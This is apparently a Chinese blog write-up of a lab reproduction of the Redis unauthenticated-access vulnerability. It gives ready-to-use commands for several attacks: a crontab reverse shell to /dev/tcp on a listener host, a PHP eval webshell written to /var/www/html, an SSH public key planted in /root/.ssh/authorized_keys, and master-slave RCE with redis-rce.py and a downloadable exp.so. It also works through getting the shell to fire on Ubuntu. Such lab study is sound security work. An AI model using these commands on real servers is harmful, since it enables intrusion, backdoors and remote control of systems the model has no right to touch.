• 0x00 背景
  • 0x01 环境准备
  • 0x02 具体过程
  • 0x02.1 安装redis
  • 0x02.2 修改远程登陆配置文件
  • 0x02.3 攻击利用
  • 0x02.4 利用计划任务执行命令反弹shell
  • 扩展思路
  • 下载后放到 redis-rce 目录下
  • 此处可以通过 -p 去设置目标端口(默认6379)
  • 参考链接

0x00 背景

  • 在复现redis未授权访问漏洞时,通过向linux任务计划文件里写反弹shell的命令时,发现shell并不能反弹回来,之前使用的server端为Centos,一切顺利并没有出现这种问题,结果这次server换成了ubuntu,就出现不能反弹的问题。

0x01 环境准备

  • ubuntu16.04,用来任务计划反弹shell的靶机
  • MAC,用来接收ubuntu反弹过来的shell
  • redis4.0.10未授权访问漏洞

0x02 具体过程

0x02.1 安装redis

  • 安装:下载、解压、编译
$ wget http://download.redis.io/releases/redis-4.0.10.tar.gz
$ tar xzf redis-4.0.10.tar.gz
$ mv redis-4.0.10 /usr/local/redis
$ cd /usr/local/redis
$ make


  • 创建服务:二进制文件是编译完成后在src目录下,客户端是/usr/local/redis/src/redis-cli,服务器是/usr/local/redis/src/redis-server。下面为这两个文件做软链接。
$ ln -s /usr/local/redis/src/redis-cli /usr/bin/redis
$ ln -s /usr/local/redis/src/redis-server /usr/bin/redisd


  • 测试是否成功安装

    redis shell反弹后如何处理 redis反弹shell 非root权限_redis

  • 至此,表明你的redis已经安装完毕。

0x02.2 修改远程登陆配置文件

$ vim /usr/local/redis/redis.conf 配置文件
    bind 127.0.0.1前面加上#号
    protected-mode设为no  
$ 启动服务 redisd /usr/local/redis/redis.conf

注释:
- 关闭protected-mode模式,此时外部网络可以直接访问
- 开启protected-mode保护模式,需配置bind ip或者设置访问密码
- redis.conf配置文件中daemonize守护线程,默认是NO


redis shell反弹后如何处理 redis反弹shell 非root权限_redis shell反弹后如何处理_02

redis shell反弹后如何处理 redis反弹shell 非root权限_任务计划_03

  • 默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件!!

0x02.3 攻击利用

  • redis基本命令
连接redis:
redis-cli -h 192.168.1.108

查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.1.108:6379>info

将变量x的值设为test:
192.168.1.108:6379>set x "test"

获取设置的某个变量的值:
192.168.1.108:6379>get x

`flushall`是把整个redis数据库删除,一般情况下不要用!!!
192.168.1.108:6379>flushall

查看所有键:
192.168.1.108:6379>KEYS *

获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.1.108:6379>CONFIG GET dir
192.168.1.108:6379>CONFIG GET dbfilename


0x02.4 利用计划任务执行命令反弹shell

  • 在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口
nc -lvnp 7999

然后执行命令:
root@kali:~# redis-cli -h 192.168.1.108

192.168.1.108:6379> set  xx   "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK

192.168.1.108:6379> config set dir /var/spool/cron/
OK

192.168.1.108:6379> config set dbfilename root
OK

192.168.1.108:6379> save
OK
再次科普下:

m:分钟 - 从0到59的整数
h:小时 - 从0到23的整数
dom:天 - 从1到31的整数 (必须是指定月份的有效日期)
mon:月 - 从1到12的整数 (或如Jan或Feb简写的月份)
dow:周一到周日 - 从0到7的整数,0或7用来描述周日 (或用Sun或Mon简写来表示)
user:指的是执行命令的用户
command: 需要执行的命令
星号(*)表示参数所有可用的值,如果为5个*,就代表每分钟执行一次
符号“/”指定步进设置。“/<interger>”表示步进值,比如*/2 * * * *代表每两分钟执行一次任务
ubuntu下可以利用的cron有以下几个地方:

/etc/crontab:该文件里面的任务计划可以直接执行
/etc/cron.d/*:该目录下的任意文件都可以被当作任务计划去执行,并且避免了原先任务计划文件被覆盖的情况
/var/spool/cron/crontabs/:该目录下定义的任务计划文件会被执行,不过需要有一个前提,就是该任务计


redis shell反弹后如何处理 redis反弹shell 非root权限_任务计划_04


登陆ubuntu查看计划任务,已经成功写入。但是发现计划中存在乱码,也就是这些乱码导致计划任务执行错误。

这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向/etc/cron.d目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。–

redis shell反弹后如何处理 redis反弹shell 非root权限_redis shell反弹后如何处理_05

我们手动把乱码删除,发现依然无法成功反弹shell。这是为什么呢?

redis shell反弹后如何处理 redis反弹shell 非root权限_redis shell反弹后如何处理_06

通过视频资料发现ubantu下默认使用/bin/dash执行脚本的问题,解决方式:将shell环境修改为bash。

redis shell反弹后如何处理 redis反弹shell 非root权限_redis shell反弹后如何处理_07

成功反弹shell

redis shell反弹后如何处理 redis反弹shell 非root权限_redis_08

扩展思路

  • 利用Redis未授权访问写定时任务反弹shell
  • 利用Redis未授权访问写webshell
  • 通过redis未授权访问漏洞向ubuntu的web跟目录下写入一个webshell,然后要知道网站的根目录,在该测试环境下网站的根目录为/var/www/html
set xx "\n\n\<?php @eval($_POST['test']);?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save


  • 利用redis未授权访问向远程服务器写入ssh公钥
在本地生成一对密钥:
$ ssh-keygen -t rsa
然后将公钥写入 key.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
之后利用redis未授权访问漏洞将公钥写到/root/.ssh/id_rsa文件中
$ cat key.txt | redis-cli -h ip -x set crackit
接下来在redis-cli的交互式shell下执行
config set dir /root/.ssh
config get dir
config set dbfilename "authorized_keys"
save
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行
$ ssh –i  id_rsa root@ip


  • Redis 基于主从复制的RCE利用方式
  • Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
  • 漏洞利用
  • 下载Exp
  • 下载 exp.so

下载后放到 redis-rce 目录下

  • 利用

此处可以通过 -p 去设置目标端口(默认6379)

  • python redis-rce.py -r <目标IP> -L <监听的公网IP> -P <监听的公网端口> -f exp.so
  • 利用redis未授权访问远程命令执行\
  • 链接:https://pan.baidu.com/s/1ZqSeFC4p-hoUjOGCs96wOg
    提取码:9qya


redis shell反弹后如何处理 redis反弹shell 非root权限_Redis_09


redis shell反弹后如何处理 redis反弹shell 非root权限_任务计划_10